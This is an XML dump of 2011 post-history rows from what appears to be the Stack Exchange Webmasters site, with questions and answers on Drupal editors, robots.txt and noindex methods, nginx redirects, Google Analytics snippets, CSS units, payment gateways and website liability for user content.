  <row Id="17072" PostHistoryTypeId="2" PostId="7986" RevisionGUID="9bb994e2-5316-4d41-ba26-cdd44c7752b9" CreationDate="2011-01-20T17:17:28.227" UserId="2293" Text="Developing apps can be cool, but it is far way more expensive, hence you will need different versions for Android and iPhone at least.&#xD;&#xA;&#xD;&#xA;Depending on what kind of relation you want with your customers/readers you can decide between app or website.&#xD;&#xA;&#xD;&#xA;If you just want your website to run in a more friendly layout for mobile devices, then I think a mobile version would be the best option, hence you can reduce costs and make your site available for modern devices with a good looking." />
  <row Id="17073" PostHistoryTypeId="2" PostId="7987" RevisionGUID="a02da0f2-e199-4415-beea-1e4c0b29105c" CreationDate="2011-01-20T17:21:32.077" UserDisplayName="user4740" Text="**Logo as an h2 tag?**&#xD;&#xA;&#xD;&#xA;I was just browsing around SitePoint (www.sitepoint.com) which is a WordPress blog with a mix of regular pages and blogs. In general, I found that they have the page title as the h1 tag, and the logo set as h2. You can see this at a blog page like www.blogs.sitepoint.com/category/design/. Cruising around the site you find different setups. I often couldn't find the h1 tag, as an example at the main product page (http://products.sitepoint.com/). Although from that page, if you click on any particular product for more info www.sitepoint.com/books/design2/, you find again that h1 is the page title, h2 is the logo. A typical web page is similar to the blog, (see www.sitepoint.com/help/). In this case the FAQ's subjects are all h2 tags. &#xD;&#xA;&#xD;&#xA;Tom Rogers&#xD;&#xA;&#xD;&#xA;Tom Rogers Web Design&#xD;&#xA;[www.tomrogerswebdesign.com][1]&#xD;&#xA; &#xD;&#xA;  [1]: http://www.tomrogerswebdesign.com" />
  <row Id="17074" PostHistoryTypeId="2" PostId="7988" RevisionGUID="e8d3371d-4e3b-4573-8fb4-4161b00301d5" CreationDate="2011-01-20T18:10:05.287" UserId="4742" Text="My site contributors are primarily Safari on Mac users.  We're running into issues with CKEditor and Safari dumping a bunch of nested spans into the html created by changing content.  The html eventually gets so big and ugly that Safari can take up to 10 minutes to display it.  The drupal pages that are affected are ones that the authors are modifying, new content is fine.  The pages also seem to have a lot of tables in them.  Can anyone recommend an editor that doesn't have this behavior in Safari? " />
  <row Id="17075" PostHistoryTypeId="1" PostId="7988" RevisionGUID="e8d3371d-4e3b-4573-8fb4-4161b00301d5" CreationDate="2011-01-20T18:10:05.287" UserId="4742" Text="What Drupal WYSIWYG editors work well with Safari?" />
  <row Id="17076" PostHistoryTypeId="3" PostId="7988" RevisionGUID="e8d3371d-4e3b-4573-8fb4-4161b00301d5" CreationDate="2011-01-20T18:10:05.287" UserId="4742" Text="&lt;drupal&gt;&lt;safari&gt;" />
  <row Id="17077" PostHistoryTypeId="5" PostId="3775" RevisionGUID="0d2cfa51-3748-4c8d-bf28-0b9a202b789a" CreationDate="2011-01-20T18:22:40.063" UserId="2311" Comment="added 167 characters in body" Text="What is the best way to create a website with sections in Drupal?&#xD;&#xA;&#xD;&#xA;Users need to be able to add, remove, and nest pages fairly easily. Pages added to a section should have an appropriate URL, like &quot;/[section name]/[page title]&quot;.&#xD;&#xA;&#xD;&#xA;This seems like a straightforward task, but I can't find the right combination of tools to do it. [Subsite][1] comes close, but for some odd reason, doesn't set up the correct content paths. The closest I got was creating a book for each subsection, but that feels like I'm using the wrong tool for the job.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Edited with my solution: I used organic groups with pathauto. I set pathauto so that pages in groups had URLs that were of the form [group path]/[page title].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/subsites" />
  <row Id="17078" PostHistoryTypeId="2" PostId="7989" RevisionGUID="5b0b4372-0692-4766-ac51-9e34ddabe930" CreationDate="2011-01-20T18:26:23.097" UserId="2311" Text="I have a content type on my drupal site that anonymous users can create. However, I don't want anonymous submissions to start out marked as &quot;Published&quot; -- they need to be approved before being posted live. What is the best way to accomplish this? " />
  <row Id="17079" PostHistoryTypeId="1" PostId="7989" RevisionGUID="5b0b4372-0692-4766-ac51-9e34ddabe930" CreationDate="2011-01-20T18:26:23.097" UserId="2311" Text="Drupal: Published settings by role" />
  <row Id="17080" PostHistoryTypeId="3" PostId="7989" RevisionGUID="5b0b4372-0692-4766-ac51-9e34ddabe930" CreationDate="2011-01-20T18:26:23.097" UserId="2311" Text="&lt;drupal&gt;" />
  <row Id="17081" PostHistoryTypeId="2" PostId="7990" RevisionGUID="e8f718cc-b1cd-4560-92bc-d9c9894bd96b" CreationDate="2011-01-20T19:47:11.720" UserId="4744" Text="I am currently searching for a database containing the common synonyms of words. (plus plural/singular)&#xD;&#xA;&#xD;&#xA;the language i am searching for is italian ah the moment.&#xD;&#xA;&#xD;&#xA;Where can I find such databases? I don't need such detailed database, a general one would be good.&#xD;&#xA;&#xD;&#xA;(I need it for extending full-text mysql searches)&#xD;&#xA;&#xD;&#xA;Thanks for any help" />
  <row Id="17082" PostHistoryTypeId="1" PostId="7990" RevisionGUID="e8f718cc-b1cd-4560-92bc-d9c9894bd96b" CreationDate="2011-01-20T19:47:11.720" UserId="4744" Text="Databases of synonyms?" />
  <row Id="17083" PostHistoryTypeId="3" PostId="7990" RevisionGUID="e8f718cc-b1cd-4560-92bc-d9c9894bd96b" CreationDate="2011-01-20T19:47:11.720" UserId="4744" Text="&lt;internationalization&gt;&lt;language&gt;" />
  <row Id="17084" PostHistoryTypeId="25" PostId="7988" RevisionGUID="462cdcad-f6f2-4718-9e62-75300cc8e989" CreationDate="2011-01-20T19:55:43.403" Comment="http://twitter.com/#!/StackWebmasters/status/28178880321814528" />
  <row Id="17085" PostHistoryTypeId="2" PostId="7991" RevisionGUID="0746785a-dd44-4131-8161-a79cbdcee638" CreationDate="2011-01-20T20:07:58.203" UserId="132" Text="If you want to support mobile devices in general, a mobile-friendly website should be the first priority. You will get the most reach with one effort.&#xD;&#xA;&#xD;&#xA;Following that, if there is demand for an app for a particular mobile device, depending on the site and the purpose it serves, you could then look at building apps. This may involve multiple efforts to accommodate multiple device types (iPhone, BlackBerry, etc)." />
  <row Id="17086" PostHistoryTypeId="2" PostId="7992" RevisionGUID="292623fa-bda9-4956-8029-7d7e44d5cb9d" CreationDate="2011-01-20T20:30:26.370" UserId="4745" Text="&lt;h2&gt;Both&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;User experience as a whole is affected by both ascetics (the designer) and proper functionality (the developer).&#xD;&#xA;&#xD;&#xA;Having just one or the other won't cut it so attempting to define it in one silo won't cut it either.&#xD;&#xA;&#xD;&#xA;I see UX designs work best when it is mutually defined and agreed upon by both the designer and developer.&#xD;&#xA;&#xD;&#xA;We'll work out the user stories, make heavy use of whiteboards, etc. Working together until we're both satisfied." />
  <row Id="17087" PostHistoryTypeId="2" PostId="7993" RevisionGUID="937b76c8-1e3c-4e7a-b07d-a9908dd369ea" CreationDate="2011-01-20T20:44:09.860" UserId="661" Text="Yes. No. Maybe.&#xD;&#xA;&#xD;&#xA;There are designers who are great at figuring out interaction design and information architecture. There are developers who are great at it. There are specialised information architects who focus on it almost entirely. Often, the best results come when all of them come together to pool their knowledge of the subject.&#xD;&#xA;&#xD;&#xA;Give the responsibility to the members of the team who can do the best job with it, don't pigeon hole people based on their job titles. " />
  <row Id="17088" PostHistoryTypeId="2" PostId="7994" RevisionGUID="e82e969a-1a9a-4340-8485-7b0378adc42f" CreationDate="2011-01-20T20:47:48.563" UserId="1064" Text="Track the user's IP in a custom variable and then monitor your logs." />
  <row Id="17089" PostHistoryTypeId="10" PostId="7990" RevisionGUID="e3379ba6-68c0-4fbb-8aab-8b7c85d9534c" CreationDate="2011-01-20T21:42:09.363" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="17090" PostHistoryTypeId="17" PostId="7996" RevisionGUID="f5df5cba-e4eb-4fa4-92dc-40fb976df59b" CreationDate="2011-01-20T22:00:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4729547/removing-robots-txt/4729564#4729564" Text="" />
  <row Id="17091" PostHistoryTypeId="17" PostId="7997" RevisionGUID="4b61a1bb-cffa-4dbc-a220-3f5011b08d50" CreationDate="2011-01-20T22:00:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4729547/removing-robots-txt/4729570#4729570" Text="" />
  <row Id="17092" PostHistoryTypeId="2" PostId="7996" RevisionGUID="75523b11-f51c-4563-a7f4-17cde5f2eb79" CreationDate="2011-01-18T22:03:41.933" UserDisplayName="Chris B. Behrens" Text="Yes. It will start showing whenever the spider for the particular site next hits the site and doesn't find robots.txt. Different sites may have different intervals...I know in particular Yahoo has some set of arcane rules it follows, but it does eventually show up again." />
  <row Id="17093" PostHistoryTypeId="2" PostId="7997" RevisionGUID="e7a3b177-8616-4c80-b35f-54bd52058f35" CreationDate="2011-01-18T22:04:23.087" UserDisplayName="cam" Text="Yes.  The search engines don't save your robots.txt.  You may have to wait a short while for your site to be scraped again, however." />
  <row Id="17094" PostHistoryTypeId="2" PostId="7995" RevisionGUID="d6330292-9812-44dd-a9c5-8fb3d33775c8" CreationDate="2011-01-18T22:01:34.820" UserDisplayName="anon" Text="Will removing robots.txt make the website 'searchable' again.  &#xD;&#xA;Curious if you had a robots.txt to avoid indexing, but changed your mind and wanted to get indexed." />
  <row Id="17095" PostHistoryTypeId="1" PostId="7995" RevisionGUID="d6330292-9812-44dd-a9c5-8fb3d33775c8" CreationDate="2011-01-18T22:01:34.820" UserDisplayName="anon" Text="removing robots.txt" />
  <row Id="17096" PostHistoryTypeId="3" PostId="7995" RevisionGUID="d6330292-9812-44dd-a9c5-8fb3d33775c8" CreationDate="2011-01-18T22:01:34.820" UserDisplayName="anon" Text="&lt;search&gt;&lt;robots.txt&gt;" />
  <row Id="17097" PostHistoryTypeId="17" PostId="7995" RevisionGUID="ea66ae70-65fc-4b58-a663-5b5bdf37d660" CreationDate="2011-01-20T22:00:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4729547/removing-robots-txt" Text="" />
  <row Id="17101" PostHistoryTypeId="2" PostId="7999" RevisionGUID="1ed84176-7045-4b38-863f-f33b6e02e862" CreationDate="2011-01-20T22:19:12.953" UserId="4739" Text="After some research I found that I should use instead of an if a virtual host... what I've added to nginx configuration is another server&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;        server_name *.badname.com;&#xD;&#xA;        rewrite ^ http://goodname.com/updateyourlinks.html;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and this apparently works" />
  <row Id="17102" PostHistoryTypeId="2" PostId="8000" RevisionGUID="e6285ec2-e7dd-4ebd-a1e9-8a48ab33dfd9" CreationDate="2011-01-20T22:24:31.057" UserId="108" Text="I was able to solve this issue. &#xD;&#xA;&#xD;&#xA;First you have to move the GA code in front of the Web Optimizer Code.&#xD;&#xA;&#xD;&#xA;Then set your code like this:&#xD;&#xA;&#xD;&#xA;    &lt;!-- Google Website Optimizer Conversion Script --&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    if(typeof(_gat)!='object')document.write('&lt;sc'+'ript src=&quot;http'+&#xD;&#xA;    (document.location.protocol=='https:'?'s://ssl':'://www')+&#xD;&#xA;    '.google-analytics.com/ga.js&quot;&gt;&lt;/sc'+'ript&gt;')&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    try {&#xD;&#xA;    var gwoTracker=_gat._getTracker(&quot;UA-XXXXXXX-37&quot;);&#xD;&#xA;    gwoTracker._setDomainName(&quot;.example.com&quot;);&#xD;&#xA;    gwoTracker._trackPageview(&quot;/YYYYYYYYYY/goal&quot;);&#xD;&#xA;    }catch(err){}&lt;/script&gt;&#xD;&#xA;    &lt;!-- End of Google Website Optimizer Conversion Script --&gt;&#xD;&#xA;&#xD;&#xA;Do the same thing with your /test scripts.&#xD;&#xA;&#xD;&#xA;It was tough for me to test this because it took so many days to get good results but this appears to work.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17103" PostHistoryTypeId="2" PostId="8001" RevisionGUID="a985acd1-9091-4760-bf2d-45cc6545fa6e" CreationDate="2011-01-20T22:38:57.397" UserId="1055" Text="I know that it is in your best interest to enforce specific policies in regards to what is appropriate for your site, but are there any legal issues with not filtering their content?&#xD;&#xA;&#xD;&#xA;For example, could one of your users sue you if they feel you &quot;allowed&quot; another user to offend them with a negative statement?&#xD;&#xA;&#xD;&#xA;How do you protect yourself as a website owner providing user generated content?" />
  <row Id="17104" PostHistoryTypeId="1" PostId="8001" RevisionGUID="a985acd1-9091-4760-bf2d-45cc6545fa6e" CreationDate="2011-01-20T22:38:57.397" UserId="1055" Text="Am I legally liable for user generated content and comments?" />
  <row Id="17105" PostHistoryTypeId="3" PostId="8001" RevisionGUID="a985acd1-9091-4760-bf2d-45cc6545fa6e" CreationDate="2011-01-20T22:38:57.397" UserId="1055" Text="&lt;legal&gt;" />
  <row Id="17107" PostHistoryTypeId="2" PostId="8002" RevisionGUID="380114c2-969f-4414-b6aa-338c0fd4bc7f" CreationDate="2011-01-20T23:18:03.963" UserId="4747" Text="I cheated on a small site I was working on and used a site builder (Web Dwarf by Virtual Mechanics) to save time. I didn't realize it at the time, but this builder specifies the width, height and positions using CSS EMs. &#xD;&#xA;&#xD;&#xA;Is there an automated tool out there that will read through the CSS and convert each EM to a percentage so it will display correctly on wide screens as well?&#xD;&#xA;&#xD;&#xA;Any help would be great! Thanks." />
  <row Id="17108" PostHistoryTypeId="1" PostId="8002" RevisionGUID="380114c2-969f-4414-b6aa-338c0fd4bc7f" CreationDate="2011-01-20T23:18:03.963" UserId="4747" Text="Change CSS EMs to Percentage Automatically." />
  <row Id="17109" PostHistoryTypeId="3" PostId="8002" RevisionGUID="380114c2-969f-4414-b6aa-338c0fd4bc7f" CreationDate="2011-01-20T23:18:03.963" UserId="4747" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="17110" PostHistoryTypeId="2" PostId="8003" RevisionGUID="38082c3c-149a-4b8c-8b38-2a646ef60941" CreationDate="2011-01-20T23:20:43.073" UserId="3" Text="as usual, IANAL, but this page was written by a Lawyer:&#xD;&#xA;&#xD;&#xA;http://www.ericgoldman.org/Articles/websiteliabilityalert.htm&#xD;&#xA;&#xD;&#xA;&gt; Cooley Godward continues to believe that **websites should take steps to avoid knowing their users’ activities and content and, in most cases, reduce indicia of their right and ability to control user behavior and content**. Thus, we propose that websites consider the following recommendations:&#xD;&#xA;&#xD;&#xA;&gt; - Do Not Actively Monitor the Website&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Active monitoring of the website will give the website actual or putative knowledge of user conduct and content. Thus, active monitoring creates the possibility that a website will be liable for all user-caused harms except those preempted by the Communications Decency Act’s safe harbor.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Consider Empowering Independent Contractors to Monitor the Website&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Some websites believe that active monitoring is crucial to their business objectives. In these cases, the websites should have independent contractors do the monitoring. If done properly, the website will not be liable for the independent contractors’ monitoring or knowledge of user content. However, to ensure that the independent contractors will not be deemed agents of the website — in which case this risk management strategy will have failed—the independent contractors must be given the authority necessary to resolve problems they find.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Respond to Complaints&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Although in general websites should minimize contact with user-generated content, if a website receives a legitimate complaint about user content (and, in the case of copyright infringement, the notice meets the statutory standards), it usually has a duty to respond promptly (unless the claim is preempted by the safe harbor in the Communications Decency Act).&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Review and Update the User Agreement&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Provisions enabling websites to blacklist subscribers or edit content based on subjective or arbitrary standards provide strong evidence of the site’s right and ability to control its users and their content. Thus, user agreements should only prohibit users from engaging in conduct that is illegal or tortious, or that interferes with the technological operation of the site. Further, Congress has specified certain language that should be in a user agreement: (1) to be eligible for the DMCA safe harbors, the user agreement must say that repeat infringers will be terminated, and (2) in a separate statute, Congress required &quot;interactive computer services&quot; to notify their users of the availability of filtering tools.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Train Employees&#xD;&#xA;&gt; &#xD;&#xA;&gt;   All employees who interact with the website can take legally significant actions that could undermine a risk management strategy. Thus, the website’s risk management strategy should be explained to all employees, and employees responsible for dealing with website problems should be given special training on how to implement the strategy.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Register with the Copyright Office&#xD;&#xA;&gt; &#xD;&#xA;&gt;   To be eligible for one of the DMCA safe harbors, notice must be filed with the Copyright Office, with the same information placed on the website. For more information, see http://lcweb.loc.gov/copyright/onlinesp/.&#xD;&#xA;&#xD;&#xA;TL;DR version: if you are an *official agent of the website* and you can be proven to have *seen* the content and did not act on it ... then potentially you could be liable." />
  <row Id="17111" PostHistoryTypeId="2" PostId="8004" RevisionGUID="b83f7955-7cdd-4c1e-bc45-4aa87342de03" CreationDate="2011-01-20T23:35:53.887" UserId="4748" Text="depending on what features you want to have this can differ. But closest to CKEditor is tinyMCE as WYSIWYG editor. there is ready to go code for drupal and it has a large community.&#xD;&#xA;&#xD;&#xA;http://tinymce.moxiecode.com/" />
  <row Id="17115" PostHistoryTypeId="17" PostId="8006" RevisionGUID="cd250b9f-e01e-4c08-9302-3d06012f6a4a" CreationDate="2011-01-21T01:08:47.617" UserId="-1" Comment="from http://superuser.com/questions/235856/blocking-search-engines-to-crawl-parts-of-a-website/235890#235890" Text="" />
  <row Id="17116" PostHistoryTypeId="2" PostId="8006" RevisionGUID="1ca25f97-11bf-453b-a4c2-13b59ff86e53" CreationDate="2011-01-21T01:05:16.043" UserDisplayName="Just Jake" Text="The age-old standard for managing robots is [/robots.txt](http://www.robotstxt.org/). `robots.txt` *asks* robots not to crawl or index certain pages on your site. Your specific question seems to relate more to the [Robots `&lt;META&gt;` tag](http://www.robotstxt.org/meta.html), which belongs in the `&lt;head&gt;` of your document, and cannot be specified within a `&lt;div&gt;` tag somewhere in the body of your page.  &#xD;&#xA;&#xD;&#xA;As it is, your markup will not be interpreted by robots as any sort of request, and will invalidate your HTML." />
  <row Id="17117" PostHistoryTypeId="2" PostId="8005" RevisionGUID="95b745e6-b21f-4997-9d42-0f9924403efe" CreationDate="2011-01-20T22:59:57.147" UserDisplayName="hhh" Text="    &lt;div id=&quot;papers&quot; NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, NOFOLLOW&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    content -- Does this work to block search engines to crawl me?&#xD;&#xA;    &#xD;&#xA;    &lt;/div&gt;" />
  <row Id="17118" PostHistoryTypeId="1" PostId="8005" RevisionGUID="95b745e6-b21f-4997-9d42-0f9924403efe" CreationDate="2011-01-20T22:59:57.147" UserDisplayName="hhh" Text="Blocking Search Engines to Crawl Parts of a Website?" />
  <row Id="17119" PostHistoryTypeId="3" PostId="8005" RevisionGUID="95b745e6-b21f-4997-9d42-0f9924403efe" CreationDate="2011-01-20T22:59:57.147" UserDisplayName="hhh" Text="&lt;search&gt;&lt;privacy&gt;" />
  <row Id="17120" PostHistoryTypeId="17" PostId="8005" RevisionGUID="fe51dfbb-cbcc-4ea9-9af9-6da416aa8af8" CreationDate="2011-01-21T01:08:47.617" UserId="-1" Comment="from http://superuser.com/questions/235856/blocking-search-engines-to-crawl-parts-of-a-website" Text="" />
  <row Id="17121" PostHistoryTypeId="2" PostId="8007" RevisionGUID="0255714d-fc25-4b76-abb3-e62d64173bea" CreationDate="2011-01-21T01:15:20.307" UserId="4750" Text="A CSS em is calculated based on the size of the font you are using, so conversion to some arbitrary percentage value isn't something you can automate. If you wanted you could do some simple percentage calculations of your own by dividing your container element's EM width by the widths of subelements and so-on, but there is no way for an automated tool to do this sort of job." />
  <row Id="17122" PostHistoryTypeId="5" PostId="7994" RevisionGUID="5a9b3b55-efd5-4fd2-bbd6-0ba9370efbd0" CreationDate="2011-01-21T01:46:50.920" UserId="1064" Comment="Clarified to address question" Text="&lt;s&gt;Track the user's IP in a custom variable and then monitor your logs.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** &#xD;&#xA;&#xD;&#xA;I stand corrected - apparently [Google considers IP addresses to be personally-identifiable information][1] in this context.&#xD;&#xA;&#xD;&#xA;The &quot;no IP information&quot; convention is inconvenient and disingenuous given that Google must have this information to service requests (and to provide country/region/city and network provider data) - judging by the linked explanation, my guess is that the policy is in place to indemnify Google when people use the service to store information which is or may become regulated.&#xD;&#xA;&#xD;&#xA;I suppose you're on your own as Google apparently does not want you to use their service for this purpose - this is a case where you will have to rely upon your own logging utilities.&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/analytics-help/web/are-ip-addresses-tracked-by-google-analytics" />
  <row Id="17123" PostHistoryTypeId="2" PostId="8008" RevisionGUID="5643d6e4-186b-46be-9683-d673165b6bb8" CreationDate="2011-01-21T01:55:21.793" UserId="4752" Text="I am surprised that no one else has thought to mention [browser size by google](http://browsersize.googlelabs.com/).&#xD;&#xA;&#xD;&#xA;As for standards:&#xD;&#xA;&#xD;&#xA;80% of viewers can handle up to 1000px width, but the ones that *can* handle more than 1000px width often don't. With wide screen monitors many people will align their windows to half the screen. Now that Win7 supports drag-n-dock, it's likely it will become even more popular.&#xD;&#xA;&#xD;&#xA;As for height: your first impression to the user is at the top of the page up to around ~600px. However, most users know and expect content to fall &quot;below the fold&quot; and are willing and able to scroll.&#xD;&#xA;&#xD;&#xA;If you want to go wider than 1000px, I'd highly recommend a fluid layout so that users on netbooks and smaller screens can still see the content properly.&#xD;&#xA;&#xD;&#xA;~960px tends to be a standardized width, but really it depends on the content and the style." />
  <row Id="17124" PostHistoryTypeId="25" PostId="8001" RevisionGUID="a4d65bda-487d-48ee-895f-dad93ae4122f" CreationDate="2011-01-21T01:55:44.547" Comment="http://twitter.com/#!/StackWebmasters/status/28269482237493248" />
  <row Id="17125" PostHistoryTypeId="2" PostId="8009" RevisionGUID="537794e4-1307-4c73-b1c7-8c03cc27879f" CreationDate="2011-01-21T02:06:10.487" UserId="1253" Text="If you want to block search engines from crawling and/or indexing your pages you can use a few methods:&#xD;&#xA;&#xD;&#xA;1) Use [robots.txt][1]&#xD;&#xA;&#xD;&#xA;2) Use meta tags&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;&#xD;&#xA;&#xD;&#xA;3) Use http headers&#xD;&#xA;&#xD;&#xA;    Header set x-robots-tag: noindex&#xD;&#xA;&#xD;&#xA;4) Use rel=&quot;nofollow&quot;&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com/sample.html&quot; rel=&quot;nofollow&quot;&gt;Link to page I don't want indexed&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;5) Place the content behind a login. Search engines (generally) do not submit forms nor create accounts at websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="17126" PostHistoryTypeId="2" PostId="8010" RevisionGUID="2170a330-17f7-4ecf-836c-6d5a5b8ec380" CreationDate="2011-01-21T02:11:34.593" UserDisplayName="Aakash Desai" Text="The source code can be found at http://www.github.com/fwenzel/reporter" />
  <row Id="17127" PostHistoryTypeId="5" PostId="8002" RevisionGUID="e91b9d53-6738-4035-a0d1-740904cc4e72" CreationDate="2011-01-21T02:24:15.010" UserId="4747" Comment="Added CSS code." Text="I cheated on a small site I was working on and used a site builder (Web Dwarf by Virtual Mechanics) to save time. I didn't realize it at the time, but this builder specifies the width, height and positions using CSS EMs. &#xD;&#xA;&#xD;&#xA;Is there an automated tool out there that will read through the CSS and convert each EM to a percentage so it will display correctly on wide screens as well?&#xD;&#xA;&#xD;&#xA;Any help would be great! Thanks.&#xD;&#xA;&#xD;&#xA;________________&#xD;&#xA;&lt;b&gt;Here is the CSS:&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;http://pastebin.de/14055" />
  <row Id="17128" PostHistoryTypeId="5" PostId="8009" RevisionGUID="b8e23ee5-f3ce-4f95-8ccb-71b342ac990b" CreationDate="2011-01-21T02:30:33.437" UserId="1253" Comment="added 205 characters in body" Text="If you want to block search engines from crawling and/or indexing your pages you can use a few methods:&#xD;&#xA;&#xD;&#xA;1) Use [robots.txt][1]&#xD;&#xA;&#xD;&#xA;2) Use meta tags&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;&#xD;&#xA;&#xD;&#xA;3) Use http headers&#xD;&#xA;&#xD;&#xA;    Header set x-robots-tag: noindex&#xD;&#xA;&#xD;&#xA;4) Use rel=&quot;nofollow&quot;&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com/sample.html&quot; rel=&quot;nofollow&quot;&gt;Link to page I don't want indexed&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;5) Place the content behind a login. Search engines (generally) do not submit forms nor create accounts at websites.&#xD;&#xA;&#xD;&#xA;6) Block the bots of all of the major search engines using .htaccess but that would be tedious and prone to error if they change whatever it is you would use to identify them (e.g. ip address, user agent).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="17129" PostHistoryTypeId="2" PostId="8011" RevisionGUID="0df3c7f8-ad18-4c6b-bf92-33490b5ee722" CreationDate="2011-01-21T02:52:55.950" UserId="4755" Text="We were using Paypal Payment pro earlier for the same thing, but for some reason Paypal has been given some new guideline which kinda hinder with the way we need to send out payments at the moment. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We receive payments from clients and then send out payments back to vendors on a weekly basis ( deducting our cut ). Can you let me know what options are available to for such transactions other than paypal ? which is the best in terms cost of setup etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="17130" PostHistoryTypeId="1" PostId="8011" RevisionGUID="0df3c7f8-ad18-4c6b-bf92-33490b5ee722" CreationDate="2011-01-21T02:52:55.950" UserId="4755" Text="Payment Gateway options other than Paypal, for sending out mass payments. " />
  <row Id="17131" PostHistoryTypeId="3" PostId="8011" RevisionGUID="0df3c7f8-ad18-4c6b-bf92-33490b5ee722" CreationDate="2011-01-21T02:52:55.950" UserId="4755" Text="&lt;paypal&gt;&lt;payment-gateway&gt;" />
  <row Id="17132" PostHistoryTypeId="5" PostId="8003" RevisionGUID="a13a6211-b558-4457-b68e-6c0359212410" CreationDate="2011-01-21T03:48:00.677" UserId="3" Comment="added 149 characters in body; added 2 characters in body" Text="as usual, IANAL, but this page was written by a Lawyer:&#xD;&#xA;&#xD;&#xA;http://www.ericgoldman.org/Articles/websiteliabilityalert.htm&#xD;&#xA;&#xD;&#xA;&gt; Cooley Godward continues to believe that **websites should take steps to avoid knowing their users’ activities and content and, in most cases, reduce indicia of their right and ability to control user behavior and content**. Thus, we propose that websites consider the following recommendations:&#xD;&#xA;&#xD;&#xA;&gt; - Do Not Actively Monitor the Website&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Active monitoring of the website will give the website actual or putative knowledge of user conduct and content. Thus, active monitoring creates the possibility that a website will be liable for all user-caused harms except those preempted by the [Communications Decency Act’s safe harbor][2].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Consider Empowering Independent Contractors to Monitor the Website&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Some websites believe that active monitoring is crucial to their business objectives. In these cases, the websites should have independent contractors do the monitoring. If done properly, the website will not be liable for the independent contractors’ monitoring or knowledge of user content. However, to ensure that the independent contractors will not be deemed agents of the website — in which case this risk management strategy will have failed — the independent contractors must be given the authority necessary to resolve problems they find.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Respond to Complaints&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Although in general websites should minimize contact with user-generated content, if a website receives a legitimate complaint about user content (and, in the case of copyright infringement, the notice meets the statutory standards), it usually has a duty to respond promptly (unless the claim is preempted by the [safe harbor in the Communications Decency Act][2]).&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Review and Update the User Agreement&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Provisions enabling websites to blacklist subscribers or edit content based on subjective or arbitrary standards provide strong evidence of the site’s right and ability to control its users and their content. Thus, user agreements should only prohibit users from engaging in conduct that is illegal or tortious, or that interferes with the technological operation of the site. Further, Congress has specified certain language that should be in a user agreement: (1) to be eligible for the [DMCA safe harbors][3], the user agreement must say that repeat infringers will be terminated, and (2) in a separate statute, Congress required &quot;interactive computer services&quot; to notify their users of the availability of filtering tools.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Train Employees&#xD;&#xA;&gt; &#xD;&#xA;&gt;   All employees who interact with the website can take legally significant actions that could undermine a risk management strategy. Thus, the website’s risk management strategy should be explained to all employees, and employees responsible for dealing with website problems should be given special training on how to implement the strategy.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Register with the Copyright Office&#xD;&#xA;&gt; &#xD;&#xA;&gt;   To be eligible for one of the [DMCA safe harbors][3], notice must be filed with the Copyright Office, with the same information placed on the website. For more information, see http://lcweb.loc.gov/copyright/onlinesp/.&#xD;&#xA;&#xD;&#xA;TL;DR version: if you are an *official agent of the website* and you can be proven to have *seen* the content and did not act on it ... then potentially you could be liable.&#xD;&#xA;&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Section_230_of_the_Communications_Decency_Act&#xD;&#xA;[3]: http://www.chillingeffects.org/dmca512/" />
